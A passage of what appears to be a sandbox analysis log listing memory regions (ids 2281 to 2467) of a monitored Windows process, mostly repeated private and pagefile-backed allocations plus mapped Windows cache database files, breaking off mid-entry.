Region: id = 2281 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2282 start_va = 0x2460000 end_va = 0x247bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 2283 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2284 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2285 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2286 start_va = 0x540000 end_va = 0x543fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 2287 start_va = 0xb970000 end_va = 0xc36ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000b970000" filename = "" Region: id = 2288 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2289 start_va = 0x2460000 end_va = 0x247bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 2290 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2291 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2292 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2293 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2294 start_va = 0x2460000 end_va = 0x247bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 2295 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2296 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2297 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2298 start_va = 0x1ea0000 end_va = 0x1ea3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 2299 start_va = 0x2460000 end_va = 0x2463fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 2300 start_va = 0x2470000 end_va = 0x2487fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000016.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x0000000000000016.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000016.db") Region: id = 2301 start_va = 0x2460000 end_va = 0x2477fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000016.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x0000000000000016.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x0000000000000016.db") Region: id = 2302 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2303 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2304 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2305 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2306 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2307 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2308 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2309 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2310 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2311 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2312 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2313 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2314 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2315 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2316 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2317 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2318 start_va = 0x1ea0000 end_va = 0x1ea0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 2319 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2320 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2321 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2322 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2323 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2324 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2325 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2326 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2327 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2328 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2329 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2330 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2331 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2332 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2333 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2334 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2335 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2336 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2337 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2338 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2339 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2340 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2341 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2342 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2343 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2344 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2345 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2346 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2347 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2348 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2349 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2350 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2351 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2352 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2353 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2354 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2355 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2356 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2357 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2358 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2359 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2360 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2361 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2362 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2363 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2364 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2365 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2366 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2367 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2368 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2369 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2370 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2371 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2372 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2373 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2374 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2375 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2376 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2377 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2378 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2379 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2380 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2381 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2382 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2383 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2384 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2385 start_va = 0x1ea0000 end_va = 0x1ea0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 2386 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2387 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2388 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2389 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2390 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2391 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2392 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2393 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2394 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2395 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2396 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2397 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2398 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2399 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2400 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2401 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2402 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2403 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2404 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2405 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2406 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2407 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2408 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2409 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2410 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2411 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2412 start_va = 0x1ea0000 end_va = 0x1ea0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 2413 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2414 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2415 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2416 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2417 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2418 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2419 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2420 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2421 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2422 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2423 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2424 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2425 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2426 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2427 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2428 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2429 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2430 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2431 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2432 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2433 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2434 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2435 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2436 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2437 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2438 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2439 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2440 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2441 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2442 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2443 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2444 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2445 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2446 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2447 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2448 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2449 start_va = 0x1ea0000 end_va = 0x1ea0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 2450 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2451 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2452 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2453 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2454 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2455 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2456 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2457 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2458 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2459 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2460 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2461 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 2462 start_va = 0x2480000 end_va = 0x249bfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 2463 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2464 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2465 start_va = 0x540000 end_va = 0x54efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000540000" filename = "" Region: id = 2466 start_va = 0x1ea0000 end_va = 0x1ea0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001ea0000" filename = "" Region: id = 2467 start_va = 0x540000 end_va = 0x540fff monitored = 1 entry_point = 